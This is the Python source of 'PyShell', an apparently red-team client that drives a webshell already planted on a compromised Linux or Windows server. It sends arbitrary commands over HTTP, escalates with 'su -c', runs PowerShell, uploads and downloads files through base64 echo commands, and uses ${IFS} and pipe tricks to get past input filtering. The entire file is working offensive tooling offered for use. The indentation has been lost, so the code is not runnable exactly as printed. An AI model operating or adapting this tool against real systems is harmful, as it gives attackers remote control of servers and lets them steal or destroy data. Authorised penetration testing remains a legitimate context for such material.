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pyshell.py
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pyshell.py
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#!/usr/bin/python3
import sys, os, re
import requests
import readline
import argparse
import base64
import urllib
import urllib3
import neotermcolor
from neotermcolor import colored
urllib3.disable_warnings()
TAG_RE = re.compile(r'<[^>]+>')
neotermcolor.readline_always_safe = True
def remove_html(text):
return TAG_RE.sub('', text).strip()
def send_command(command, webshell, method, param="code"):
headers = {"User-Agent":"Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
"Authorization":args.auth, "Cookie":args.cookies, "Content-Type":"application/x-www-form-urlencoded"}
params = {param.strip():command.strip()}
if args.noenc:
params = urllib.parse.urlencode(params, safe='|!"#$%&/()=?,.-;:_][]}{><')
else:
params = urllib.parse.urlencode(params, safe='')
if (method.upper() == "GET"):
response = requests.get((webshell), params=params, headers=headers, verify=False)
elif (method.upper() == "POST"):
response = requests.post((webshell), data=params, headers=headers, verify=False)
return response.content.decode(errors="ignore")
if __name__ == "__main__":
banner = """
██████ ▓██ ░██ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓██░ ██▒██░ ██▒██ ▒ ▓██ ██▒▓██ ▓██▒ ▓██▒
▓██░ ██▒ ██ ██░░ ▓███ ▒██████░▒████ ▒██░ ▒██░
▒██████ ▒ ░████▓░ ▒ ██▒░██ ░██ ▒██ ▒██░ ▒██░
▒██▒ ░ ░ ░ ██▒▓░▒██████▒▒░██▒░██▓░█████▒░██████▒░██████▒
▒██░ ░ ░ ██▒▒▒ ▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░▒ ░ ▓██ ░▒░ ░ ░▒ ░ ▒ ░ ░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░
-------------- by @JoelGMSec & @3v4Si0N ---------------
"""
print (colored(banner, "green"))
parser = argparse.ArgumentParser()
parser.add_argument("url", help="Webshell URL", type=str)
parser.add_argument("method", help="HTTP Method to execute command (GET or POST)", type=str)
parser.add_argument("-a", "--auth", help="Authorization header to use on each request", type=str)
parser.add_argument("-c", "--cookies", help="Cookie header to use on each request", type=str)
parser.add_argument("-p", "--param", default="code", help="Parameter to use with custom WebShell", type=str)
parser.add_argument("-ne", "--noenc", action="store_true", help="Disable URL encode on key chars")
parser.add_argument("-np", "--nopre", action="store_true", help="Disable HTML <pre> tags parser")
parser.add_argument("-pi", "--pipe", action="store_true", help="Pipe all commands after parameter")
parser.add_argument("-ifs", "--ifs", action="store_true", help="Replace all white spaces with Internal Field Separator")
parser.add_argument("-su", "--sudo", action="store_true", help="Sudo command execution (Only on Linux hosts)")
parser.add_argument("-ps", "--PowerShell", action="store_true", help="PowerShell command execution (Only on Windows hosts)")
args = parser.parse_args()
try:
WEBSHELL = args.url
HTTP_METHOD = args.method
PARAM = args.param
PIPE = ""
COMMAND_LIST = ["ls", "dir", "cat", "type", "rm", "del", "file"]
if str(sys.platform) == "linux":
localslash = "/"
else:
localslash = "\\"
if args.pipe:
PIPE = "|"
whoami = send_command(PIPE + "whoami", WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
whoami = "<pre>" + whoami + "</pre>"
if not "<pre>" in whoami:
print (colored("[!] Command output not found! Exiting..\n", "red"))
sys.exit()
if "<pre>" in whoami:
whoami = str(whoami).split("<pre>", 1)[1] ; whoami = str(whoami).split("</pre>", 1)[0]
whoami = remove_html(whoami)
if args.sudo:
whoami = "root"
hostname = send_command(PIPE + "hostname", WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
hostname = "<pre>" + hostname + "</pre>"
if "<pre>" in hostname:
hostname = str(hostname).split("<pre>", 1)[1] ; hostname = str(hostname).split("</pre>", 1)[0]
hostname = remove_html(hostname)
cwd = "" ; slash = "\\"
if not slash in whoami:
path = send_command(PIPE + "pwd", WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
path = "<pre>" + path + "</pre>"
if "<pre>" in path:
path = str(path).split("<pre>", 1)[1] ; path = str(path).split("</pre>", 1)[0]
path = remove_html(path)
system = "linux" ; slash = "/"
else:
path = send_command(PIPE + "cmd /c echo %cd%", WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
path = "<pre>" + path + "</pre>"
if "<pre>" in path:
path = str(path).split("<pre>", 1)[1] ; path = str(path).split("</pre>", 1)[0]
path = remove_html(path)
system = "windows" ; whoami = whoami.split("\\")[1]
while True:
try:
cinput = (colored(" [PyShell] ", "grey", "on_green")) ; cinput += (colored(" ", "green", "on_blue"))
cinput += (colored(str(whoami).rstrip()+"@"+str(hostname).rstrip() + " ", "grey", "on_blue"))
if len(str(path).rstrip()) > 24:
shortpath = str(path).rstrip().split(slash)[-3:] ; shortpath = ".." + slash + slash.join(map(str, shortpath))
cinput += (colored(" ", "blue", "on_yellow")) ; cinput += (colored(shortpath.rstrip() + " ", "grey", "on_yellow"))
else:
cinput += (colored(" ", "blue", "on_yellow")) ; cinput += (colored(path.rstrip() + " ", "grey", "on_yellow"))
cinput += (colored(" ", "yellow"))
command = input(cinput + "\001\033[0m\002")
if args.ifs:
command = command.replace(" ","${IFS}")
space = "${IFS}"
if not args.ifs:
space = " "
if command == "exit":
print (colored("[!] Exiting..\n", "red"))
break
else:
if len(command) == 0:
print("\n")
continue
if not command.split():
print()
continue
if "clear" in command.split()[0] or "cls" in command.split()[0]:
os.system("clear")
continue
if "upload" in command.split()[0]:
if args.ifs:
command = command.replace("${IFS}"," ")
if len(command.split()) == 1 or len(command.split()) == 2:
print (colored("[!] Usage: upload local_file.ext remote_file.ext\n", "red"))
else:
localfile = command.split()[1]
remotefile = command.split()[2]
if remotefile == ".":
remotefile = command.split()[1]
if not slash in remotefile:
if remotefile == localfile:
remotesplit = remotefile.split(localslash)[-1]
remotefile = path.rstrip() + slash + remotesplit
else:
remotefile = command.split()[2]
remotefiletmp = remotefile.rstrip() + ".tmp"
if not localslash in localfile:
cwd = os.getcwd()
print (colored("[+] Uploading file " + cwd + localslash + localfile + " on " + remotefile + "..\n", "green"))
else:
print (colored("[+] Uploading file " + localfile + " on " + remotefile + "..\n", "green"))
try:
f = open(localfile, "rb") ; rawfiledata = f.read() ; base64data = base64.b64encode(rawfiledata)
except OSError:
print (colored("[!] Local file " + localfile + " does not exist!\n", "red"))
continue
upload = send_command(PIPE + "echo" + space + str(base64data.rstrip(), "utf8") + space +
">" + space + remotefile, WEBSHELL, HTTP_METHOD, PARAM)
if system == "linux":
send_command(PIPE + "base64" + space + "-di" + space + remotefile + space + ">" + space + remotefiletmp + space +
";rm" + space + "-f" + space + remotefile + ";mv" + space + remotefiletmp + space + remotefile, WEBSHELL, HTTP_METHOD, PARAM)
if system == "windows":
command = " ; [System.Convert]::FromBase64String($base64) | Set-Content -Encoding Byte "
send_command(PIPE + "$base64 = cat -Encoding UTF8 " + remotefile + command + remotefile, WEBSHELL, HTTP_METHOD, PARAM)
else:
if "download" in command.split()[0]:
if args.ifs:
command = command.replace("${IFS}"," ")
if len(command.split()) == 1 or len(command.split()) == 2:
print (colored("[!] Usage: download remote_file.ext local_file.ext\n", "red"))
else:
remotefile = command.split()[1]
localfile = command.split()[2]
if not slash in remotefile:
remotefile = path.rstrip() + slash + command.split()[1]
if not localslash in localfile:
cwd = os.getcwd()
if localfile == ".":
localfile = command.split()[1]
localfile = localfile.split(slash)[-1]
print (colored("[+] Downloading file " + remotefile + " on " + cwd + localslash + localfile + "..\n", "green"))
else:
print (colored("[+] Downloading file " + remotefile + " on " + localfile + "..\n", "green"))
if system == "linux":
base64data = send_command(PIPE + "base64" + space + remotefile, WEBSHELL, HTTP_METHOD, PARAM)
if system == "windows":
command = "[Convert]::ToBase64String([IO.File]::ReadAllBytes('"+remotefile+"'))"
base64data = send_command(PIPE + command, WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
base64data = "<pre>" + base64data + "</pre>"
if "<pre>" in base64data:
base64data = str(base64data).split("<pre>", 1)[1] ; base64data = str(base64data).split("</pre>", 1)[0]
base64data = remove_html(base64data)
download = base64.b64decode(base64data.encode("utf8") + b"========")
try:
f = open(localfile, "wb") ; f.write(download) ; f.close()
except OSError:
print (colored("[!] Error writing " + localfile + ", check path and perms!\n", "red"))
continue
else:
if "pwd" in command.split()[0]:
path = str(path) + "\n"
print (colored(path, "yellow"))
else:
if "cd" in command.split()[0]:
if args.ifs:
command = command.replace("${IFS}"," ")
if command.split()[1] == ".":
continue
if ".." in command.split()[1]:
path = path.split(slash)[:-1]
path = (slash.join(path))
if not path:
path = slash
else:
if not slash in command.split()[1]:
if path != slash:
path = path.rstrip() + slash + command.split()[1]
if path == slash:
path = path.rstrip() + command.split()[1]
else:
path = command.split()[1]
else:
if command.split()[0] in COMMAND_LIST:
command_array = command.split(" ")
param = ""
for i in list(command_array):
if i.startswith("-"):
param += i + space
command_array.remove(i)
cmd = command_array.pop(0)
if len(command_array) == 0:
relative_path = ""
else:
relative_path = command_array[0]
if not slash in relative_path:
command = cmd + space + param + path.rstrip() + slash + relative_path
content = send_command(PIPE + command, WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
content = "<pre>" + content + "</pre>"
if "<pre>" in content:
content = str(content).split("<pre>", 1)[1] ; content = str(content).split("</pre>", 1)[0]
content = remove_html(content) + "\n"
print (colored(content, "yellow"))
else:
if args.PowerShell:
content = send_command(PIPE + "powershell " + command, WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
content = "<pre>" + content + "</pre>"
if "<pre>" in content:
content = str(content).split("<pre>", 1)[1] ; content = str(content).split("</pre>", 1)[0]
content = remove_html(content) + "\n"
print (colored(content, "yellow"))
else:
if args.sudo:
content = send_command(PIPE + "su" + space + "-c" + space + command, WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
content = "<pre>" + content + "</pre>"
if "<pre>" in content:
content = str(content).split("<pre>", 1)[1] ; content = str(content).split("</pre>", 1)[0]
content = remove_html(content) + "\n"
print (colored(content, "yellow"))
else:
content = send_command(PIPE + command, WEBSHELL, HTTP_METHOD, PARAM)
if args.nopre:
content = "<pre>" + content + "</pre>"
if "<pre>" in content:
content = str(content).split("<pre>", 1)[1] ; content = str(content).split("</pre>", 1)[0]
content = remove_html(content) + "\n"
print (colored(content, "yellow"))
except KeyboardInterrupt:
print (colored("\n[!] Exiting..\n", "red"))
break
except Exception as e:
print (colored("\n[!] Error getting connection!\n", "red"))